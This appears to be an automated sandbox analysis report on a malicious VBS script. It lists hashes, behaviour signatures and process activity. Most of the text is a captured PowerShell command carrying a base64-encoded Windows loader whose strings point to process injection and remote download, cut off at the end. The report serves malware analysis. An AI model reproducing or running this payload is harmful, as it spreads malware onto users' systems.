82b9b8a27c9207c488225a48956b069210aa8aafbc33f965c564b1079cd3f231

General

Target

ad9ae0fa9d69baa98a9a0ba1660e93b6f87c8f1f226b01b0fa903dcb84cac6dc.vbs
Size

867KB
MD5

b1ffeaa164e3794b364d3f9aca4f02d2
SHA1

3aaaddbf7c7c21b2b5886eefa79e0abc7d6b8d69
SHA256

ad9ae0fa9d69baa98a9a0ba1660e93b6f87c8f1f226b01b0fa903dcb84cac6dc
SHA512

b84776e41414252f6da59fc26dc12560b29d8e0eaf9a515cafcd47bd15d6702ee7ee3c2f0fd82d23ea862381896b6438851c8e4aad7aa5c5ca83efca93f3e396
SSDEEP

1536:D5FjaXGxbMN75ro6BHB1ZoVuwDTTTTNVBTwqq/YvldOJl7dhWFHFbTTYTEsTT7l2:fQZ4x

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1996 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1996 powershell.exe

pid	process
1996	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1996	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 924 wrote to memory of 1996	924	WScript.exe	powershell.exe
PID 924 wrote to memory of 1996	924	WScript.exe	powershell.exe
PID 924 wrote to memory of 1996	924	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ad9ae0fa9d69baa98a9a0ba1660e93b6f87c8f1f226b01b0fa903dcb84cac6dc.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABcBCWQAAAAAAAAAAOAAAiELAVAAADAAAAAGAAAAAAAAjk8AAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADxPAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAlC8AAAAgAAAAMAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAyAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAANgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABwTwAAAAAAAEgAAAACAAUAJCwAABAhAAADAAAAAAAAADRNAAAIAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABooKwAABioeAigBAAAKKh4CKAMAAAoqABMwCABJAAAAAAAAAHMEAAAKgAEAAAQWKwEWRQMAAAACAAAADwAAABwAAAArJ3MFAAAKgAIAAAQXK+BzBgAACoADAAAEGCvTcwcAAAqABAAABBkrxioufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACir2FysBFiwAfgUAAAQUKBoAAAosJHIBAABwHSgsAAAG0AUAAAIoDwAACm8bAAAKcxwAAAqABQAABH4FAAAEKhp+BgAABCoeAoAGAAAEKlZzDQAABigdAAAKdAYAAAKABwAABCoeAigeAAAKKhp+BwAABCoaKA4AAAYqHgIoEgAACioAABMwBQBGAAAAAQAAEXIhAABwHCgsAAAGCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBwAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBioAABswCwARBAAAAgAAEXKVAABwGSgsAAAGAighAAAKDBYrARZFAwAAAAIAAAANAAAAGAAAACshEgP+FQ8AAAIXK+ISBP4VDgAAAhgr1xIDFn0YAAAEGSvMEgPQDwAAAigPAAAKKCIAAAq4fQ0AAAQDKCMAAAotEwhyoQAAcBgoLAAABgMoJAAACgwCCH4lAAAKfiUAAAoWGn4lAAAKFBIDEgQoEQAABi0GcyYAAAp6BB88KCcAAAoTBRYrARZFFAAAAAUAAAAVAAAAJAAAADMAAAB0AAAAwAAAANMAAADyAAAAAgEAAFABAABlAQAAbwEAAIgBAACcAQAAsAEAAMgBAADeAQAADQIAACwCAABdAgAAOHECAAAEEQUfNNYoJwAAChMGFyuWILMAAACNCQAAARMHGCuHEQcWIAIAAQCeGTh4////KCgAAAoaMxYRBHsKAAAEEQcoEgAABi0ccyYAAAp6EQR7CgAABBEHKBMAAAYtBnMmAAAKehEHHymUEwgaODf///8RBHsJAAAEEQge1hIJGhIBKBYAAAYtBnMmAAAKehEGEQkzFhEEewkAAAQRCSgYAAAGLAZzJgAACnoEEQUfUNYoJwAAChMKGzjr/v//BBEFH1TWKCcAAAoTCxw42P7//xEEewkAAAQRBhEKIAAwAAAfQCgZAAAGEw0dOLn+//8FLSURDS0hFxMMHjip/v//EQR7CQAABBYRCiAAMAAAH0AoGQAABhMNEQ0tBnMmAAAKehEEewkAAAQRDQQRCxIBKBcAAAYtBnMmAAAKehEFIPgAAADWEw4fCThb/v//BBEFHNYoKQAAChfaExEfCjhG/v//FhMSHws4PP7//zifAAAABBEOHwzWKCcAAAoTEx8MOCP+//8EEQ4fENYoJwAAChMUHw04D/7//wQRDh8U1ignAAAKExUfDjj7/f//ERQsSxEUF9oX1o0bAAABExYfDzjj/f//BBEVERYWERaOaSgqAAAKHxA4zf3//xEEewkAAAQRDRET1hEWERaOaRIBKBcAAAYtBnMmAAAKehEOHyjWEw4fETie/f//ERIX1hMSERIRET5Y////EQ0oKwAAChMPHxI4f/3//xEEewkAAAQRCB7WEQ8aEgEoFwAABi0GcyYAAAp6BBEFHyjWKCcAAAoTEB8TOE79//8RDCwEEQYTDREHHywRDREQ1p4fFDg1/f//KCgAAAoaMxYRBHsKAAAEEQcoFAAABi0ccyYAAAp6EQR7CgAABBEHKBUAAAYtBnMmAAAKehEEewoAAAQoGgAABhUzBnMmAAAKet5IKCwAAAoWKwEWRQMAAAACAAAAFAAAACQAAAArKhEEewsAAASEKC0AAAoTFxcr2xEXLAcRF28uAAAKFgoYK8soLwAAChkrw94CFwoGKgAAAEEcAAAAAAAAYQAAAGQDAADFAwAASAAAABgAAAEeAigSAAAKKhswBgB8AQAAAwAAEXMwAAAKJSgxAAAKbzIAAAoCKDMAAAooNAAACnKlAABwGygsAAAGcrEAAHAbKCwAAAZvNQAACnK1AABwFygsAAAGcsMAAHAYKCwAAAZvNQAACnLHAABwGSgsAAAGctMAAHAXKCwAAAZvNQAACnLXAABwHCgsAAAGcuMAAHAZKCwAAAZvNQAACnLnAABwGSgsAAAGcvkAAHAbKCwAAAZvNQAACnL9AABwGCgsAAAGcg8BAHAZKCwAAAZvNQAACnITAQBwGygsAAAGciUBAHAdKCwAAAZvNQAACnIpAQBwFigsAAAGcjUBAHAcKCwAAAZvNQAACnI5AQBwHSgsAAAGcksBAHAWKCwAAAZvNQAACnJPAQBwFigsAAAGcmEBAHAYKCwAAAZvNQAACnJlAQBwGCgsAAAGcncBAHAYKCwAAAZvNQAACm82AAAKCgZvNwAACig0AAAKKDgAAAooGwAABibeGSUoLAAACgsWKwEWLAIrCCgvAAAKFyv03gAqQRwAAAAAAAAAAAAAYgEAAGIBAAAZAAAAGAAAARMwCgAUAgAABAAAEXJ7AQBwHigsAAAGcpcBAHAoOQAACigMAAAKChYrARZFCgAAAAUAAAAjAAAAWAAAAJMAAADBAAAA7wAAAB0BAABGAQAAdAEAAKMBAAA4wgEAAHJ7AQBwHigsAAAGcpcBAHAoOQAACigMAAAKChcrsAYUcpkBAHAYKCwAAAYXjQUAAAElFnK3AQBwGigsAAAGohQUFCg6AAAKKAwAAAoMGDh7////BhRyxwEAcBsoLAAABheNBQAAASUWCHLlAQBwFigsAAAGKDsAAAqiFBQUKDoAAAooDAAACgsZOED///8HFHL/AQBwFygsAAAGF40FAAABJRZyGQIAcBsoLAAABqIUFCg8AAAKGjgS////BxRyNwIAcBgoLAAABheNBQAAASUWck0CAHAWKCwAAAaiFBQoPAAAChs45P7//wcUcsECAHAYKCwAAAYXjQUAAAElFnLjAgBwHSgsAAAGohQUKDwAAAocOLb+//8HFHJXAwBwFygsAAAGF40FAAABJRYdjAkAAAGiFBQoPAAACh04jf7//wcUcm8DAHAZKCwAAAYXjQUAAAElFnKDAwBwGigsAAAGohQUKDwAAAoeOF/+//8HFHKSBABwGCgsAAAGF40FAAABJRZyqgQAcB0oLAAABqIUFCg8AAAKHwk4MP7//wcUcr4EAHAbKCwAAAYWjQUAAAEUFBQXKD0AAAomHwo4DP7//yoeAigSAAAKKjYCAygMAAAKKA0AAAoqHgIoDgAACiou0AwAAAIoDwAACioeAigQAAAKKgAAEzABABoAAAAFAAARFysBFiwAAowFAAAbLQgoAQAAKworAgIKBioiA/4VBQAAGyoeAigSAAAKKgATMAIAMwAAAAYAABECexMAAApvFAAACgoWKwEWLAIrEQaMCAAAGy0VKAIAACsKFyvrAnsTAAAKBm8WAAAKBipiFysBFiwAAigSAAAKAnMYAAAKfRMAAAoqEzAFAOsAAAAHAAARfiAAAAQU/gE5jwAAACg+AAAKcsgEAHAZKCwAAAZvPwAACgsWKwEWRQIAAAAFAAAATQAAADiEAAAABxT+AS1dB3NAAAAKIcm3b80+/xkzKEEAAAohKC/qCrNCSGMoQQAACm9CAAAKFnNDAAAKFnNEAAAKc0UAAAoMCChGAAAKFyumCG9HAAAKKEgAAAolgB8AAARvSQAACoAgAAAEfiAAAAQU/gEtQyg+AAAKAyhKAAAK/gEsNBYKGDhq////Kx5+IAAABAaaA29LAAAKKEwAAAosBn4fAAAEKgYXWAoGfiAAAASOaf4ELdYUKl4oTQAAChT+BioAAAZzTgAACm9PAAAKKgATMAcAbQAAAAgAABEg5AVGHANYChYrARZFAwAAAAIAAAAMAAAAOwAAACtAAihQAAAKCxcr4xYMCAeOaf4ELC4HCAcIkw0JIP8AAABfBiUXWAphHmIJHmMGJRdYCmHSYNGdGCu0CBdYDBkrrSvKB3NRAAAKKFIAAAoqHgIoUwAACioAAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADwCwAAI34AAFwMAAAkCwAAI1N0cmluZ3MAAAAAgBcAAAwFAAAjVVMAjBwAABAAAAAjR1VJRAAAAJwcAAB0BAAAI0Jsb2IAAAAAAAAAAgAAAVedAhwJDwAAAPoBMwAWAAABAAAARAAAABIAAAAhAAAALQAAADIAAABjAAAAAQAAAC0AAAACAAAACAAAAAIAAAAMAAAACgAAAAEAAAADAAAAAQAAAAQAAAADAAAAAgAAAAAAWgUBAAAAAAAGAPcB+AcGAEcHvAcKAE0CJAUKACoCJAUOAJIJqwUGACYH+AcOANYFqwUOAEUJaAgOADcAqwUOANoBqwUOAIcBqwUOAHsHqwUGAAEA+gQOAP4GiAgOAKsGSwYOAKwKgQYKAAcCNgYKABICNgYOAAgE8AoOAOMEqwUKAGQJqQcOAPIEIggOAKIHqwUOAJMGqwUOACsHqwUOAGwAqwUOAC8EqwUOAPMGqwUOAFkKqwUGALAAQQgOAM0BqwUKAMoJqwkOAJ4E7wkGAB0JQQgGANYIygAOANQJqwUGAGAGygAGAIsEQQgGAFQJQQgOAPYIqwUOAKQFkgAOAJ4FkgAOANoGXwoOALIFXwoOAMUFXwoOAJEFXwoOAFkBXwoKAIMFAgYKAGoBAgYOAN4FqwUOAA4HqwUOACUEqwUOAH0DaAgOAOoDaAgOAHoCgQYOAFIDgQYOANEDgQYOAJ0DgQYOALYDgQYOAMECgQYOAGYCIggOAD8CIggOAAUDgQYOANwCpwQGAJECQQgGAKkCygAGADcDygAOACIDgQYAAAAAewAAAAAAAQABAAAAAAAoBkIKBQABAAIAAAAAAEUHQgoJAAEAAwAAARAAmQlCChUAAQAEAAABAACiCJkIFQAFAAkAAAEQAOsIQgpFAAcADAAAAQAADgtCChUACAAPAAEAAAAXCdQGFQAIABAAAQAAAMgB1AYVAAgAHQABAQAA6gTUBhUACAAfAAEAAADEBtQGFQAIACAABQEAAOoHAAAVAAgAIQAFAQAAEAAAABUACAAoAAsBAAC/AAAAfQAJACoACwEAAIQAAAB9AA0AKgAAAAAAvwAAABUAHwAqAAAAAACEAAAAFQAhACwAAAEAAG8DAADRACEALQAxAL8ASwIxAL8AUwIxAL8AWwIxAL8AYwIRAL8AawIRAL8AbwIRAL8AcwIhAL8AXAAGAKsBoQAGAHoBoQAGAOkAdwIGAOAAdwIGAKoAdwIGACsAhgAGALwGhgAGALkBhgAGAKIAegIGAKYAegIGAGsEegIGAHMEegIGACkJegIGADcJegIGAPUCegIGAM4IegIGACcKfQIGAD0AfQIGAD8AoQAGANwJoQAGAOUJoQAGAFAHoQARAL8AgAIRAIQAhAJWgPoFhgBQIAAAAAARGIsH1gABAFcgAAAAAAYYhQcBAAEAXyAAAAAABhiFBwEAAQBoIAAAAAARGIsH1gABAL0gAAAAABMIOAeIAgEAySAAAAAAEwgYBo0CAQDVIAAAAAATCCIHkgIBAOEgAAAAABMI2geXAgEA7SAAAAAAEwj6BpwCAQArIQAAAAATCN8BoQIBADIhAAAAABMI6wGmAgEAOiEAAAAAERiLB9YAAgBQIQAAAAAGGIUHAQACAFghAAAAABYIvgmsAgIAXyEAAAAAEwjeCKwCAgBmIQAAAAAGGIUHAQACAAAAAACAABFgvwCxAgIAAAAAAIAAEWC/AMMCDAAAAAAAgAARYIQAwwIOAAAAAACAABFgyADDAhAAAAAAAIAAEWCGAMMCEgAAAAAAgAARYL8AygIUAAAAAACAABFgvwDVAhkAAAAAAIAAEWC/AOACHgAAAAAAgAARYL8A5gIgAAAAAACAABFgvwDvAiUAcCEAAAAAFgBIAfQCJgDEIQAAAAARAL8A+gInAAAmAAAAAAYYhQcBACsACCYAAAAAFgCOAAMDKwCsJwAAAAAWAMwG1gAsAMwpAAAAAAYYhQcBACwA1CkAAAAAxgIQCTEALADiKQAAAADGAk0BNgAtAOopAAAAAIMA1wEIAy0A9ikAAAAAxgLhBEEALQAAKgAAAAARAL8ADQMtACYqAAAAAAEAvwAVAy4ALyoAAAAABhiFBwEALwA4KgAAAAADCDgBJwAvAHcqAAAAAAYYhQcBAC8AkCoAAAAAEQC/AB0DLwCHKwAAAAATAIQA1gAxAKArAAAIABMAvwAmAzEAGSwAAAAABhiFBwEAMwAAAAEAUQQAAAEAvwAAAAIAhAAAAAMAyAAAAAQAhgAAAAUA3gAAAAYAiAAAAAcAHwEAAAgAigAAAAkAggQAAAoAjAAAAAEAvwAAAAIAhAAAAAEAvwAAAAIAhAAAAAEAvwAAAAIAhAAAAAEAvwAAAAIAhAAAAAEAvwAAAAIAhAAAAAMAyAAAAAQAhgAAAAUA3gAAAAEAvwAAAAIAhAAAAAMAyAAAAAQAhgAAAAUA3gAAAAEAvwAAAAIAhAAAAAEAvwAAAAIAhAAAAAMAyAAAAAQAhgAAAAUA3gAAAAEAvwAAAAEAvAAAAAEAvwAAAAIAhAAAAAMAyAAAAAQAhgAAAAEAnAAAAAEAugYAAAEAvwAAAAEAvwAAAAEAAAAAAAIAAAAAAAEAAAAAAAIAAAAJAIUHAQAZAIUHBQARAIUHAQAMAIUHAQAUAIUHAQAcAIUHAQAkAIUHAQAMADgBJwAUADgBJwAcADgBJwAkADgBJwBBAEgELAApABAJMQApAE0BNgBRAJkBOgApAOEEQQBhACkBSAApAIUHAQA8AL8AXAA0ADQEJwBpADQEJwA0AD4EZwBpAD4EZwA0AIUHAQBpAIUHAQApAAcJbQBRAHwKcwBxAIUHeACRABQBfwCJAIUHAQCZAIUHAQChAAgLhgChAHMJiQCxAIQEjwChAAALlQChAGwJmgC5ALcGoQDBAIUHAQDJADUApAC5AHsEqwDJAGoArwDhALUKtgDJAMUIwQDxAGsHygCpAPMA0ACpAGQFAQDxAFkH1gABAYUHAQAJAXIA2gABAZoE4AARAeEE5wAZAR8C7AChACEB8QChAOEEQQABAdIE9wAhAcEE/AApAXoJAgExAaMJCAE5AYcJGQExAbYJHwExAToFMQGBAKAKQwGBAGkFSAFZAYUHAQDJAMUITwFhAZIHVQFxAYUHXwGBAYUHbAFRAYUHAQBJAaQGdgFRAUsKfQGBAA8BggGBAKwIiQFBAYkKcwBBAb8BQQChAOQKkQGRAegFlwGZAYUHnQGRAVcEowGhAFMKqgGhAIUHsgGhAJ0G7AChAYUHAQCpAYUHuAGxAYUHAQC5AYUHvQHBAYUHvQHJAYUHvQHRAYUHvQHZAYUHvQHhAYUHvQHpAYUHwgHxAYUHvQH5AYUHvQEBAoUHvQEJAoUHAQARAoUHAQAZAoUHxwEhAoUHAQAOAIQAOgIuAKMCLAMuAKsCNQMuALMCVAMuALsCVAMuAMMCVAMuAMsCVAMuANMCVAMuANsCVAMuAOMCVAMuAOsCWgMuAPMChAMuAPsCkQMuAGoB2wNDABMA4ANgABMA4ANjABMA4AODAAMD2wODAAsD2wOjAAMD2wOjAAsD2wPDABMA6QPjAAMD2wPjAAsD2wNDAQMD2wODARMA4AODARMD8gOjARMA4AOjAeMCVAMgAvsA2wNAAvsA2wNDAhsDVARgAvsA2wOAAvsA2wOgAvsA2wPAAvsA2wPgAvsA2wMAA/sA2wMgA/sA2wNAA/sA2wMgBBMA4ANABBMA4ANgBBMA4AOABBMA4APgBBMA4AMgBRMA4AMBAAAAAAAOAAEAAAAAAA8AzwHVAfYB/AECAgwCFgIgAkMFUAULABIAGQAgAEUATgBVAGQAxwAuAY4BrwEEASMAXgkBAAABJQAACgEAAAEnAPsJAQAAASkAFgoBAAABKwARCgEAAAEtAL8KAQAAAS8A0QoBAAABMQBsBgIAAAEzADMKAQAAATUAAgEBAASAAAABAAAAAAAAAAAAAAAAANQGAAAKAAAAAAAAAAAAAAAoAsoAAAAAAAQAAAAAAAAAAAAAADECqwUAAAAABAAAAAAAAAAAAAAAMQLBAAAAAAAAAAAAAgAAAEkAAAAMAAQADQAEAA4ACAAPAAgAAAAQABoAvwAAABAASwC/AAAAAABNAL8AIwAHAiMAEQIAAABDb250ZXh0VmFsdWVgMQBUaHJlYWRTYWZlT2JqZWN0UHJvdmlkZXJgMQBSZXNlcnZlZDEAVG9JbnQzMgBjYlJlc2VydmVkMgAyYTQxZmRlOTQ3Yzc0ZWQ0OWM4ZDhkZjVmMjg2YzhhMwBUb0ludDE2AGdldF9VVEY4ADxNb2R1bGU+AEEAQgBDAEQARQBWQUkAU3lzdGVtLklPAFFCWHRYAGR3WABkd1kAU2l6ZV8AUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAFJlc3VtZVRocmVhZABMb2FkAFN5bmNocm9uaXplZABSZXBsYWNlAENyZWF0ZUluc3RhbmNlAGdldF9HZXRJbnN0YW5jZQBBbmRlAEdldEhhc2hDb2RlAENyeXB0b1N0cmVhbU1vZGUAQ29tcHJlc3Npb25Nb2RlAFRocmVhZEhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBQcm9jZXNzSGFuZGxlAFRpdGxlAGdldF9OYW1lAEhvbWUAVmFsdWVUeXBlAEdldFR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBkd0ZpbGxBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBPYmZ1c2NhdGlvbkF0dHJpYnV0ZQBNeUdyb3VwQ29sbGVjdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAFlhbm9BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAFN1cHByZXNzVW5tYW5hZ2VkQ29kZVNlY3VyaXR5QXR0cmlidXRlAEJ5dGUAZ2V0X1ZhbHVlAHNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQBhZGRfUmVzb3VyY2VSZXNvbHZlAGR3WFNpemUAZHdZU2l6ZQBnZXRfU2l6ZQBTaXplT2YATmV3TGF0ZUJpbmRpbmcAc2V0X0VuY29kaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcARnJvbUJhc2U2NFN0cmluZwBEb3dubG9hZFN0cmluZwBUb1N0cmluZwBPcHRpY2FsAE1hcnNoYWwATWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMuSW50ZXJuYWwAU3lzdGVtLkNvbXBvbmVudE1vZGVsAExhdGVDYWxsAGtlcm5lbDMyLmRsbABudGRsbC5kbGwARmliZXIuZGxsAEtpbGwAR2V0TWFuaWZlc3RSZXNvdXJjZVN0cmVhbQBEZWZsYXRlU3RyZWFtAENyeXB0b1N0cmVhbQBNZW1vcnlTdHJlYW0AU3lzdGVtAFN5bW1ldHJpY0FsZ29yaXRobQBJQ3J5cHRvVHJhbnNmb3JtAEJvb2xlYW4AQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAFZlcnNpb24AU3lzdGVtLklPLkNvbXByZXNzaW9uAGdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBJbnRlcm4AQ29weVRvAEN1bHR1cmVJbmZvAFplcm8ARGVza3RvcABTdGFydHVwAHN0YXJ0dXAARmliZXIAREVTQ3J5cHRvU2VydmljZVByb3ZpZGVyAEJ1ZmZlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFJlc29sdmVFdmVudEhhbmRsZXIAZ2V0X1VzZXIAQml0Q29udmVydGVyAGdldF9Db21wdXRlcgBNeUNvbXB1dGVyAFN0ZEVycm9yAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAENyZWF0ZURlY3J5cHRvcgBJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAGdldF9XZWJTZXJ2aWNlcwBNeVdlYlNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5BcHBsaWNhdGlvblNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMARmliZXIuTXkuUmVzb3VyY2VzAEdldE1hbmlmZXN0UmVzb3VyY2VOYW1lcwBHZXRCeXRlcwBkd0ZsYWdzAFN0cmluZ3MAZ2V0X1NldHRpbmdzAE15U2V0dGluZ3MAUmVzb2x2ZUV2ZW50QXJncwBSZWZlcmVuY2VFcXVhbHMAVG9vbHMAQ29udmVyc2lvbnMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFJ1bnRpbWVIZWxwZXJzAE9wZXJhdG9ycwBDcmVhdGVQcm9jZXNzAENvbmNhdABGb3JtYXQAQ3JlYXRlT2JqZWN0AENvbmNhdGVuYXRlT2JqZWN0AE15UHJvamVjdABMYXRlR2V0AFN5c3RlbS5OZXQATGF0ZVNldABnZXRfRGVmYXVsdABXZWJDbGllbnQAQ29udmVydABTdGRJbnB1dABTdGRPdXRwdXQAU3lzdGVtLlRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABGaWJlci5NeQBUb0FycmF5AFRvQ2hhckFycmF5AFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkAZ2V0X0Fzc2VtYmx5AGdldF9SZXF1ZXN0aW5nQXNzZW1ibHkAR2V0RXhlY3V0aW5nQXNzZW1ibHkAQmxvY2tDb3B5AFJlYWRQcm9jZXNzTWVtb3J5AFdyaXRlUHJvY2Vzc01lbW9yeQBvcF9FcXVhbGl0eQBTeXN0ZW0uU2VjdXJpdHkASXNOdWxsT3JFbXB0eQBNeVNldHRpbmdzUHJvcGVydHkAAAAAAB/rqu2H75Lxl/OG9dj3qvmf+4/9kf91AXADZwVjB3sBc+qo7Nfus/Cm8pr0m/aT+Jb6jPyO/qMATAJqBGYGdQhmCngMYg5pEGUSPRRbFlIYTRpHHFsebSBAIk4kQCZQKEYqWSxGLnMwRzIHNBs2BzgXOgg8DT4MQHBCekQZRhVILEosTB5OOVAyUiBUe1YyWCFaPgEL58rpkevc7ZPv0gED5scBC+nC6xTtxe/Y8dgBA+mIAQ3lm8J56RDrxO2T79EBA+aEAQvCXukSFBHtk+/EAQPlggEL6sPJLctd8NvQ7QED540BEeeo6aoUEch/77Dx2fO00DYBA+mSARHHOujD6qvK8std8Nny2dVmAQPngAERFhfv8+2TEA3T6NXq0/b3AAED65gBC+TN5h3K9+rD7LABA+raARHrFu3E77DxsvPc9Q73AvnSAQPk1wERwSXmzMl7y3jskO4f1u7XRQED5t0BEcNR6NPqyMrz7sXVPvLZ9MEBA+bIARvsuu688JLygfSc9of4jfrV/K7+lwBkAm8EaQEBAB3mtOiZ6o7sju6G8JDyn/Sz9pj4lfqf/Jj+jQByAQ/ouuqf7IzunfCF8ob0hQEd6anrnu2L75HxhvOR9aX3kPmV+479iv9jAXcDcAEZ5LnmieiG6p/siO6f8JDyl/Tb9pv4l/qQARnlr+eL6YXrgu2i75/xkfOV9YL3kfmV+5IBHemE64Ptmu+V8YLzlfWS99b5n/uE/Zv/LAEiAzQBFeaz6IjqmeyK7orwhfKj9JT2g/iRAXPkpubd6LXqvOyE7oHwlfKc9IL2hPil+qj8hP6MAHUCZgRoBjQIOwpXDFoOZhB/EncUehZgGGoaSxxyHmggRCJRJHYmTyhMKkcsQS5zMEcyAjQbNgc4ZTpLPFI+SEAkQjFENkYvSCxKJ0whTmFQNFIrVDABIeaw6IbqmeyG7obwn/KU9LH2nviL+p78nv6LAG4CcQR8AXPrr+3U76zxpfOd9Zj3nPmV+4v9jf9cAVEDfQV1B3wJbwthDT0PIhFOE0MVfxd2GX4bcx1pH1MhciNLJVEnTSlYK38tRi9VMV4zWDVqN045CzsSPQ4/HEEyQytFMUctSThLP00mTzVRPlM4VXhXPVkiWzkBF+Wx54HphOuI7YHvh/Gh84D1j/eU+Z8BE+ep6Zjri+2b753xl/Oa9YL3iwGBDeiq6tHsse648JjynfSR9pj4jvqI/KH+rAB4AnAEcQZiCGQKOAw/DlMQRhJ6FHsWcxh2Gmwcbh5PIE4iVCRAJlUoeipDLEguQzBdMm80QzYGOBc6CzxhPk9ALkI0RCBGNUg6SiNMKE4jUD1SfVQwVi9YPFp7XHBeCGAIYg1kAWYIaB5qOGwZbhZwHXIWdFV2P3gQeh98GX4agO+Co4TWhvOI6Ir5jPmOopDCkv+U8JbymOmau5yonqSg8qLXpMSm1ajdqoas/a7dsN6y0LTQtsS4yrqbvP6+hcCdwpTErMapyK3KpMy6zrzQjdKH1LDWutip2ofckt6x4ITip+SX5o7on+qO7MPumfCT8oABF+aj6IzqmOyO7p3wmPKD9IH2nviW+pUBE+uh7Yfvk/GA85v1hfeX+Zz7iAEJ6bnrje2Y75UBQefa6Yvr2O3f75bxlvOR9c/3zPnN+5/9yf80AWcDYAUyBzEJaQs0DWoPKBF2E3IVIxd+GSgbJB0oH0MhGiNFJRUBAAC17fmsUUdnSZ+FWe/51LYEAAMgAAEFIAEBEREGFRI0ARIMBhUSNAESCAYVEjQBEhkGFRI0ARIwBCAAEwAEAAEcHAQgAQIcAyAACAYAARIpES0DIAAOAh4ABRABAB4ABhUSNQETAAYVEjQBEwAHBhUSNQETAAITAAUgAQETAAUAAgIcHAQgABJBBiACAQ4SQ